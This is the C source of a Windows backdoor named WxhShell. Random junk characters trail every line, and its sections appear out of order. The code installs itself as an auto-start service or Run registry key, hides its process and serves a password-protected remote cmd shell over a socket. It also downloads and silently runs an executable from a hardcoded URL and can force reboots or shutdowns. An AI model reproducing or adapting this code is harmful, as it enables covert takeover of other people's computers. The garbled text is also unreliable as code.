    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (|EnRk-E  
    if(Boot(SHUTDOWN)) /7 CF f&4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<|_tC+ct  
    else { [!ghI%VK  
    closesocket(wsh); PE~umY]  
    ExitThread(0); 3:Mq4 0]x  
    } O#,Uz2  
    break; \~]HfDu  
    } \<}4D\qz  
  // 获取shell p=7{  
  case 's': { 5v f?E"\r  
    CmdShell(wsh); RpAqnDX)  
    closesocket(wsh);  jIMT&5k  
    ExitThread(0); 6 K+DgNK  
    break; gkJL=,  
  } \pXs&}%1,F  
  // 退出 5,I|beM  
  case 'x': { *v}8n95*2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F3XB};  
    CloseIt(wsh); TzC'x WO  
    break; :ub 4p4h*  
    } Df\~ ZWs!  
  // 离开 G,#]`W@qhK  
  case 'q': { []'gIF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .$r=:k_d  
    closesocket(wsh); OT*C7=  
    WSACleanup(); IMKyFp]h-  
    exit(1); J4yL"iMt  
    break; b) k\?'j  
        } A{[joo  
  } Xu4C*]A>  
  } -|ho 8alF  
cjf 8N:4N0  
  // 提示信息 6zmt^U   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tl 0_Sd  
} |Va*=@&6J  
  } e7m>p\"  
*Kpk1  
  return; eI+<^p_j2  
} iP7 Cku}l  
#JmVq-)  
// shell模块句柄 81gcM?  
int CmdShell(SOCKET sock) 6zo'w Wc3  
{ ,g.*Mx`-  
STARTUPINFO si;  xJphG  
ZeroMemory(&si,sizeof(si)); RZ(*%b<C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L}E~CiL0n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JHxy_<p/  
PROCESS_INFORMATION ProcessInfo; XX85]49`%  
char cmdline[]="cmd"; FeW}tKH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C 2f=9n/  
  return 0; :~I^ni  
} S}O>@ %  
U9<AL.  
// 自身启动模式 <G9HVMiP  
int StartFromService(void) eP d  
{ R cZg/{[{  
typedef struct e -!6m #0  
{ z%)~s/2Rs  
  DWORD ExitStatus; N~""Lc&  
  DWORD PebBaseAddress; <Km ^>9  
  DWORD AffinityMask; m\4V;F  
  DWORD BasePriority; I~^t\iujs  
  ULONG UniqueProcessId; ''bh{ .x  
  ULONG InheritedFromUniqueProcessId; {iGy@?d)zt  
}   PROCESS_BASIC_INFORMATION; HE;}B!>  
: 3J0Q  
PROCNTQSIP NtQueryInformationProcess; ;6 ?a8t@  
\# p@ef  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iS p +~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .3X5~OH  
k? <.yr1  
  HANDLE             hProcess; Qm-I=Rh+  
  PROCESS_BASIC_INFORMATION pbi; J0ys Z]  
1zGD~[M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X#ZQpo'h  
  if(NULL == hInst ) return 0; `"(FWK=8)"  
* ~D|M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HT`k-}ho,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #r=Jc8J_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :w!A_~ w2  
i;flK*HOZ9  
  if (!NtQueryInformationProcess) return 0; fH@P&SX  
fY4I(~Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S/itK3  
  if(!hProcess) return 0; $ Jz(Lb{  
D6$*#D3U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b<\2j5  
h SeXxSb:  
  CloseHandle(hProcess); }508wwv  
uPT2ga]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NmuzAZr  
if(hProcess==NULL) return 0; kxanzsSr9  
w)rd--9f  
HMODULE hMod; %,1xOl4l  
char procName[255]; NihUCj"  
unsigned long cbNeeded; %.h&W;  
 )>=!</@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -wsoJh  
wit rC>  
  CloseHandle(hProcess); r|_@S[hZg  
-;:.+1   
if(strstr(procName,"services")) return 1; // 以服务启动 (# c|San  
W?F Q  
  return 0; // 注册表启动 ( < e q[(  
} *8bj3A]vf  
_qxBjB4t"a  
// 主模块 b8 ^O"oDrp  
int StartWxhshell(LPSTR lpCmdLine) i V$TvD+  
{ y+aKk6(_W  
  SOCKET wsl; y}F;~H~P  
BOOL val=TRUE; Ke;eI+P[  
  int port=0; :MP*Xy\7&J  
  struct sockaddr_in door; e7Sp?>-d  
:R{pV7<O  
  if(wscfg.ws_autoins) Install(); VnYcqeCm  
QZm7 Q4  
port=atoi(lpCmdLine); /h7u E  
)n&6= Li  
if(port<=0) port=wscfg.ws_port; ;/h&40&  
8345 H  
  WSADATA data; :#VdFMC<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k-N}tk/5  
M ZAz= )-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]#\De73K   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q$;j1X^  
  door.sin_family = AF_INET; FN w0x6,~R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ox5Es  
  door.sin_port = htons(port); oj(st{,  
~n~j2OE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z[9t?ePL  
closesocket(wsl); .OpG2P  
return 1; 3&!v"ms  
} 3#0y.. F  
s&4&\Aq}x#  
  if(listen(wsl,2) == INVALID_SOCKET) { _P` ^B  
closesocket(wsl); {pc  (b  
return 1; Dv*d$  
} cy(4g-b]@e  
  Wxhshell(wsl); vdcPpj^d5  
  WSACleanup(); 8RI'Fk{  
DDq?4  
return 0; bt};Pn{3  
uznYLS  
} K))P 2ss  
#P1U] @  
// 以NT服务方式启动 ' Tk4P{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;Nw)zS  
{ 1=h5Z3/fj  
DWORD   status = 0; z1^3~U$}  
  DWORD   specificError = 0xfffffff; zM(-f|wVI)  
AHo}K\O?r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >m:n6M'r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9X&=?+f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k. NJ+  
  serviceStatus.dwWin32ExitCode     = 0; ["#H/L]3  
  serviceStatus.dwServiceSpecificExitCode = 0; s f.z(o  
  serviceStatus.dwCheckPoint       = 0; ?iZM.$![  
  serviceStatus.dwWaitHint       = 0; ifNyVE Hy  
^`[<%.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XtQwLH+F  
  if (hServiceStatusHandle==0) return; GkIhPn(d  
)MF 4b ][  
status = GetLastError(); AmZW=n2^  
  if (status!=NO_ERROR) 0CvGpM,  
{ BIS.,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UpPl-jeT  
    serviceStatus.dwCheckPoint       = 0; |~ytAyw  
    serviceStatus.dwWaitHint       = 0; JeN]sK)8x  
    serviceStatus.dwWin32ExitCode     = status; ~"_!O+Pj  
    serviceStatus.dwServiceSpecificExitCode = specificError; O+|ipw*B%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fk9q3  
    return; Eg&:yF}?(  
  } 6<9}>Wkf  
!Eg2#a?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 052Cf dq  
  serviceStatus.dwCheckPoint       = 0; kl[(!"p  
  serviceStatus.dwWaitHint       = 0; gj iFpW4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m[%':^vSr  
} NJSbS<O  
$e2+O\.>  
// 处理NT服务事件,比如:启动、停止 vcCNxIzEG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1KY0hAx  
{ kBLFK3i  
switch(fdwControl) V7}'g6X  
{ X-X`Z`o  
case SERVICE_CONTROL_STOP: k& uh  
  serviceStatus.dwWin32ExitCode = 0; `zrg?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Td|u-9OM  
  serviceStatus.dwCheckPoint   = 0; -L4G)%L\  
  serviceStatus.dwWaitHint     = 0; ?PS?_+E\L  
  { d#XgO5eyO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?A3u2-  
  } x[$KZGK+GL  
  return; $f _C~O  
case SERVICE_CONTROL_PAUSE: ~1E!Co  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XjCx`bX^<  
  break; *>"NUHq  
case SERVICE_CONTROL_CONTINUE: :iLRCK3 C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g4Q' Fub+I  
  break; " dGN0i  
case SERVICE_CONTROL_INTERROGATE: "O-X*>?f  
  break; gaxM#  
}; xJAQ'ANr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zc=G4F01  
} by0K:*C  
V9SL96'[I  
// 标准应用程序主函数 uY(8KW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ',xUU{5?  
{ F\&{>&  
KO7&dM  
// 获取操作系统版本 maDWV&Db  
OsIsNt=GetOsVer(); |pv$],&&:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /g. c( -#]  
b9#(I~}  
  // 从命令行安装 ZgG~xl\My  
  if(strpbrk(lpCmdLine,"iI")) Install(); vb?.`B_>&  
=Gu&0f  
  // 下载执行文件 ]Ml  
if(wscfg.ws_downexe) { NA/`LaJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pDYJLh-C  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hi=</ Wy;  
} Bm,Vu 1]t  
Z1I.f"XY  
if(!OsIsNt) { akNqSZwj  
// 如果时win9x,隐藏进程并且设置为注册表启动 n42\ty9  
HideProc(); >qOG^{&x  
StartWxhshell(lpCmdLine); ~##FW|N)  
} 2"?DaX  
else akt7rnt?i  
  if(StartFromService()) 3~bB2APk  
  // 以服务方式启动 .{c7 I!8  
  StartServiceCtrlDispatcher(DispatchTable); A.("jb@I  
else 7I'C'.6iM  
  // 普通方式启动 KpYezdPF)  
  StartWxhshell(lpCmdLine); &z1U0uk  
>V?0#f45@  
return 0; H7.l)'  
} Q&vdBO/  
/+J nEFf  
=?0v,;F9|  
&.?E[db"h  
=========================================== gN />y1{a  
+|d]\WlJ  
u>.a;BO  
xx>h J!  
RC[Sa wA  
B7[d^Y60B  
" ~a[ /l  
,>rvl P  
#include <stdio.h> *l{epum;  
#include <string.h> m{=Q88k!@.  
#include <windows.h> J_Tz\bZ3)  
#include <winsock2.h> 3.?be.cq  
#include <winsvc.h> dt:$:,"   
#include <urlmon.h> /P@%{y  
5 | ,b  
#pragma comment (lib, "Ws2_32.lib") KzO"$+M  
#pragma comment (lib, "urlmon.lib") y)&K9 I  
"lw|EpQk`  
#define MAX_USER   100 // 最大客户端连接数 tF} ^  
#define BUF_SOCK   200 // sock buffer O 1z0dHa  
#define KEY_BUFF   255 // 输入 buffer h#O9TB  
Wj^e)2%  
#define REBOOT     0   // 重启 u-,}ug|  
#define SHUTDOWN   1   // 关机 "}qs +  
$Y6\m`  
#define DEF_PORT   5000 // 监听端口 $Q8 &TM}E  
b{ xlW }S  
#define REG_LEN     16   // 注册表键长度 clV^Xg8D  
#define SVC_LEN     80   // NT服务名长度 =/46;844T  
#l4T/`u'9!  
// 从dll定义API a24 AmoWx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }q@#M8b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O6G'!h\F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3._ ep  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;\2Z?Kq  
F!EiF&[\J  
// wxhshell配置信息 D?1fY!C:r  
struct WSCFG { jW`JThoq  
  int ws_port;         // 监听端口 `L`+`B  
  char ws_passstr[REG_LEN]; // 口令 $N)G:=M!s  
  int ws_autoins;       // 安装标记, 1=yes 0=no I* C~w  
  char ws_regname[REG_LEN]; // 注册表键名 nPXP9wmh4x  
  char ws_svcname[REG_LEN]; // 服务名 NUltuM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s/IsrcfM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K'r;#I|"J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !="q"X /*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YkWHI (p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $q@d.Z>;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6K pq~o   
Q!1;xw~  
}; &[-(=43@  
~%/Rc`  
// default Wxhshell configuration \s5Uvws  
struct WSCFG wscfg={DEF_PORT, ,\\ba_*z  
    "xuhuanlingzhe", #%p44%W  
    1, Lkm-<  
    "Wxhshell", 1z-.e$&z  
    "Wxhshell", 8~o']B;lJ  
            "WxhShell Service", eA4:]A"  
    "Wrsky Windows CmdShell Service", #4'wF4DR@  
    "Please Input Your Password: ", Wgls+<l8  
  1, LBK{-(%  
  "http://www.wrsky.com/wxhshell.exe", I$xZV?d.  
  "Wxhshell.exe" :jl*Y-mM  
    }; XA2Ld  
CjQO5  
// 消息定义模块 'V:Q :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6^"QABc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4!Js="  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PdcIHN  
char *msg_ws_ext="\n\rExit."; X,|8Wpi=  
char *msg_ws_end="\n\rQuit."; `$6o*g>:  
char *msg_ws_boot="\n\rReboot..."; YO7U}6wBt  
char *msg_ws_poff="\n\rShutdown..."; F<* /J]  
char *msg_ws_down="\n\rSave to "; wX"hUu  
xPm. TPj  
char *msg_ws_err="\n\rErr!"; fc9;ZX7  
char *msg_ws_ok="\n\rOK!"; te+}j7SU  
dE7x  SI  
char ExeFile[MAX_PATH]; 7s|'NTp  
int nUser = 0; b&z#ZY  
HANDLE handles[MAX_USER]; EjR(AqZY  
int OsIsNt; 03 @a G  
dDaV2:4E  
SERVICE_STATUS       serviceStatus; ]nTeTW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H`JFXMa<  
&bsq;)wzs  
// 函数声明 9pp +<c  
int Install(void); aDbqh~7  
int Uninstall(void); @k?vbq  
int DownloadFile(char *sURL, SOCKET wsh); OpUfK4U)  
int Boot(int flag); F(G..XJQ  
void HideProc(void); P>7Xbm,VP  
int GetOsVer(void); _gT65G~z  
int Wxhshell(SOCKET wsl); ]" 'yf;g  
void TalkWithClient(void *cs); &GP(yj]  
int CmdShell(SOCKET sock); Ma^jy.  
int StartFromService(void); rQjk   
int StartWxhshell(LPSTR lpCmdLine); G$<(>"Yr~$  
2}vibDq p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H bKE;N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v ccH(T  
N"S`9B1eD(  
// 数据结构和表定义 ,MY7h 8V/  
SERVICE_TABLE_ENTRY DispatchTable[] = R}&?9tVRR  
{ HGQ</5Z  
{wscfg.ws_svcname, NTServiceMain}, \<LCp;- K  
{NULL, NULL} 7d:]o>  
}; G]K1X"W?  
-/Q5?0z  
// 自我安装 !7N:cx'Qy  
int Install(void)  s5VK  
{ -+".ut:R  
  char svExeFile[MAX_PATH]; DSrU7#  
  HKEY key; Ebnb-Lze,  
  strcpy(svExeFile,ExeFile); my 'nDi  
8Y`Lq$u  
// 如果是win9x系统,修改注册表设为自启动 2.q Zs8&  
if(!OsIsNt) { mrTf[ "K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]>n{~4a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ='7m$,{(Q[  
  RegCloseKey(key); c#OxI*,+/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 2Z:J 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _jQ:9,; A  
  RegCloseKey(key); b fxE}>  
  return 0; o=m5AUe?J  
    } /Ew()>Y  
  } 'n &p5%  
} EmNVQ1w  
else { N1t4o~  
%_!/4^smE  
// 如果是NT以上系统,安装为系统服务 W5|{A])N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "#d$$ 8  
if (schSCManager!=0) Ua1&eC Zi  
{ PQHztS"  
  SC_HANDLE schService = CreateService km %r{  
  ( 0Wr<l%M)+  
  schSCManager, ~;"eNg{ T  
  wscfg.ws_svcname, AiqKf=  
  wscfg.ws_svcdisp, vt EfH  
  SERVICE_ALL_ACCESS, uyj!$}4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K9<8FSn  
  SERVICE_AUTO_START, )UR$VL  
  SERVICE_ERROR_NORMAL, Ia2WBs =  
  svExeFile, N*IroT3  
  NULL, >.?yz   
  NULL, j=0kxvp  
  NULL, j+jC J<  
  NULL, Jf^3nBZ  
  NULL ,ri&zbB  
  ); t^#1=nK  
  if (schService!=0) +t7HlAXB#  
  { -laH^<jm5  
  CloseServiceHandle(schService); e,(Vy  
  CloseServiceHandle(schSCManager); RoqkT|#$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Itmm/M  
  strcat(svExeFile,wscfg.ws_svcname); m$8siF{<q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a"(Ws]K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WIWo4[(  
  RegCloseKey(key); }8O9WS  
  return 0; <J8c dB!e  
    } EjPR+m  
  } c&c  
  CloseServiceHandle(schSCManager); }?m0bM  
} z~H1f$}  
} &8VH m?h  
vn.5X   
return 1; !'$*Z(  
} dle\}Sy=  
F8%^Ed~@  
// 自我卸载 eaRa+ <#u  
int Uninstall(void) S'x ]c#  
{ z%}"=  
  HKEY key; U][E`[m#  
l$u52e!7  
if(!OsIsNt) { :!i=g+e]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dsIbr"m  
  RegDeleteValue(key,wscfg.ws_regname); U6JD^G=qR,  
  RegCloseKey(key); w,1N ;R&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HNkOPz+d&8  
  RegDeleteValue(key,wscfg.ws_regname); h7]+#U]mi  
  RegCloseKey(key); b:(+d"S  
  return 0; ^B.Z3Y  
  } w1< pQ[A  
} '6D"QDZB  
} |q4=*Xq  
else { CI*JedO]  
=eA|gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u6C_*i{2  
if (schSCManager!=0) lBP?7`U  
{ Q<>u) %92@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^!tX+`,6^  
  if (schService!=0) 0A} X hX  
  { bK "I9T #  
  if(DeleteService(schService)!=0) { ET[5`z  
  CloseServiceHandle(schService); 0+mR y57  
  CloseServiceHandle(schSCManager); EWJB /iED  
  return 0; jTwSyW  
  } CH7a4qL`  
  CloseServiceHandle(schService); 3[#^$_96b  
  } gj;gl ="3  
  CloseServiceHandle(schSCManager); #19O5  
} - ~z@W3\  
} V@0T&#  
yBK$2to~  
return 1; sm##owI  
} 9DBX.|  
 W2` 3 p  
// 从指定url下载文件 Pll%O@K  
int DownloadFile(char *sURL, SOCKET wsh) }w)}=WmD  
{ a;$V;3C{b&  
  HRESULT hr; ^Zl[#:EFP  
char seps[]= "/"; -3(*4)h7  
char *token; D[^K0<-Z  
char *file; g_4%M0&AX  
char myURL[MAX_PATH]; @+;.W>^h  
char myFILE[MAX_PATH]; A8ViJ  
c Lyf[z)W  
strcpy(myURL,sURL); {X?Aj >l  
  token=strtok(myURL,seps); G;gsDn1t  
  while(token!=NULL) =U84*HAv  
  { `U0XvWPr[  
    file=token; @ws&W=NQ  
  token=strtok(NULL,seps); T6y~iNd<  
  } Xg.Lo2s  
N5 sR  
GetCurrentDirectory(MAX_PATH,myFILE); +PPQ"#1pS  
strcat(myFILE, "\\"); XK~HfA?  
strcat(myFILE, file); i:Y5aZc/Ds  
  send(wsh,myFILE,strlen(myFILE),0); _"*vj-{-y  
send(wsh,"...",3,0); b!t[PShw^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *~U*:>hS  
  if(hr==S_OK) M_0f{  
return 0; RAa1^Qb  
else @oY+b!L  
return 1; w[a(I} x  
e R[B0;c  
} z81dm  
]9_tto!/  
// 系统电源模块 K1YxF  
int Boot(int flag) H8g 6ZCU~  
{ a2?@OJ  
  HANDLE hToken; "E<+idoz  
  TOKEN_PRIVILEGES tkp; ^coCsV^CW"  
a /]FlT  
  if(OsIsNt) { I_#5gq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sv=e|!3f[k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UNSXr`9  
    tkp.PrivilegeCount = 1; q4X( _t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ftmP dha%+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XFTqt]  
if(flag==REBOOT) { F<h+d917  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fAkfN H6  
  return 0; FzOWM7+\  
} 1z|bQ,5  
else { }72\Aw5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d&G]k!|\  
  return 0; /7#MJH5b6  
} 4'3;{k$z  
  } 0"j:-1  
  else { `]]5!U2  
if(flag==REBOOT) { U6|T<bsOl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %qsl<_&  
  return 0; E el*P M  
} %J'/cmR&  
else { jD<xpD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .~ uKr^%  
  return 0; {a\! 1~  
} hrJ(][8  
} l(x0d  
6? lAbW  
return 1; YeT{<9p  
} An}RD73!w  
>+<b_q|P  
// win9x进程隐藏模块 ^?]-Q*w3Qs  
void HideProc(void) vr"Pr4z4i  
{ dHAT($QG  
]}Ys4(}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); # B <%  
  if ( hKernel != NULL ) tKyGD|g S  
  { tf54EIy5Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D 9;pjY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y>C0 5?>  
    FreeLibrary(hKernel); yX*$PNL5w  
  } U<F|A!Fg  
gP|-A`y  
return; feS$)H9-  
} 5"G-r._  
=!DX,S7  
// 获取操作系统版本 C(h<s e?  
int GetOsVer(void) y5c\\e  
{ k:V9_EI=  
  OSVERSIONINFO winfo; ml|FdQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  96;5  
  GetVersionEx(&winfo); r"K!]Vw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A#K<5%U{Mv  
  return 1; &'zc2  
  else a0k;way  
  return 0; :Hb`vH3 x  
} PepR ]ym  
e*`ht+  
// 客户端句柄模块 GzaGTd.b  
int Wxhshell(SOCKET wsl) YH+(N  
{ y5*zyd  
  SOCKET wsh; IDf\! QGx  
  struct sockaddr_in client; teb(gUy}L6  
  DWORD myID; nVoWER:  
78*8-  
  while(nUser<MAX_USER) 8kcMgCO  
{ %MGt3)  
  int nSize=sizeof(client); SAitufS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u{HO6 s\S  
  if(wsh==INVALID_SOCKET) return 1; }8YY8|]LI  
~s-gnp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :81d~f7  
if(handles[nUser]==0) [\eVX`it  
  closesocket(wsh); %2b^t*CQ  
else w2s06`g  
  nUser++; OXp N8Dh5  
  } fD(r/~Vu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R|$b\3  
NNr6~m)3v  
  return 0; !U}2YM J  
} qs\Cwn!  
31 <0Nw;l  
// 关闭 socket o_b3G  
void CloseIt(SOCKET wsh) >l%8d'=Jl  
{ LauGT* z!  
closesocket(wsh); m3o -p   
nUser--; x'\C'zeF  
ExitThread(0); nhMxw @Z\  
} \6MM7x(U3  
YL!{oHs4  
// 客户端请求句柄 (_@]-   
void TalkWithClient(void *cs) jTg~]PQ^  
{ .vy@uT,  
: qK-Rku  
  SOCKET wsh=(SOCKET)cs; |cnps$fk~  
  char pwd[SVC_LEN]; uh.;Jj;  
  char cmd[KEY_BUFF]; ia_@fQ  
char chr[1]; cNwH Y Z'  
int i,j; RR:%"4M  
{irc~||4  
  while (nUser < MAX_USER) { W,H8B%e  
(K8Ob3zN_  
if(wscfg.ws_passstr) { ZCZ@ZN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Cx|(+T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9M($_2,44  
  //ZeroMemory(pwd,KEY_BUFF); <)!,$]S  
      i=0; R ai 0 4  
  while(i<SVC_LEN) { (p12=EB<  
uY>M3h#qx  
  // 设置超时 `) cH(Rj  
  fd_set FdRead; ;ltk}hJ]  
  struct timeval TimeOut; J]Z~.f="  
  FD_ZERO(&FdRead); &)+H''JY  
  FD_SET(wsh,&FdRead); d8agM/F*/  
  TimeOut.tv_sec=8; LWTPNp:"{w  
  TimeOut.tv_usec=0; RjvW*'2G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =9 )k:S(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [PUu9rz#  
JrY*K|YdW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1|"BpX~D  
  pwd=chr[0]; a9p:k ]{  
  if(chr[0]==0xd || chr[0]==0xa) { ! #! MTk  
  pwd=0; _iq62[i3^  
  break; #z%D d{E  
  } <>{m+=gA  
  i++; d,l?{ Ln  
    } *5k40?w  
,G}i:7  
  // 如果是非法用户,关闭 socket 7M7Ir\d0lp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A&Aj!#  
} 0mUVa=)D  
ZfqN4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z#o''  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y2 J-`o$5  
v ;}s`P\"  
while(1) { *n EkbI/  
x,U_x  
  ZeroMemory(cmd,KEY_BUFF); , p~1fB-/  
hPNMp@Nm6  
      // 自动支持客户端 telnet标准   #I453  
  j=0; Kf BT'6t  
  while(j<KEY_BUFF) { |]@Pq[Hn|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Y2~HuM  
  cmd[j]=chr[0]; J@$~q}iG  
  if(chr[0]==0xa || chr[0]==0xd) { r)}U 'iv*%  
  cmd[j]=0; EI 35&7(  
  break; V+lF|CZb5  
  } P][jB  
  j++; /qIl)+M  
    } `a MU2  
9>9EZ?4m  
  // 下载文件 kq5X<'MM9N  
  if(strstr(cmd,"http://")) { ;T WLo_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v '+]T=  
  if(DownloadFile(cmd,wsh)) q {Z#}|km#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NvJ5[W  
  else 1s.2z[B~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zX&SnT1~  
  } c'eZ-\d{  
  else { Yjjh}R#  
i}DS+~8v  
    switch(cmd[0]) { .nrllVG%`  
  3)W zX  
  // 帮助 vsj4? 0=  
  case '?': { ^r&)@R$V  
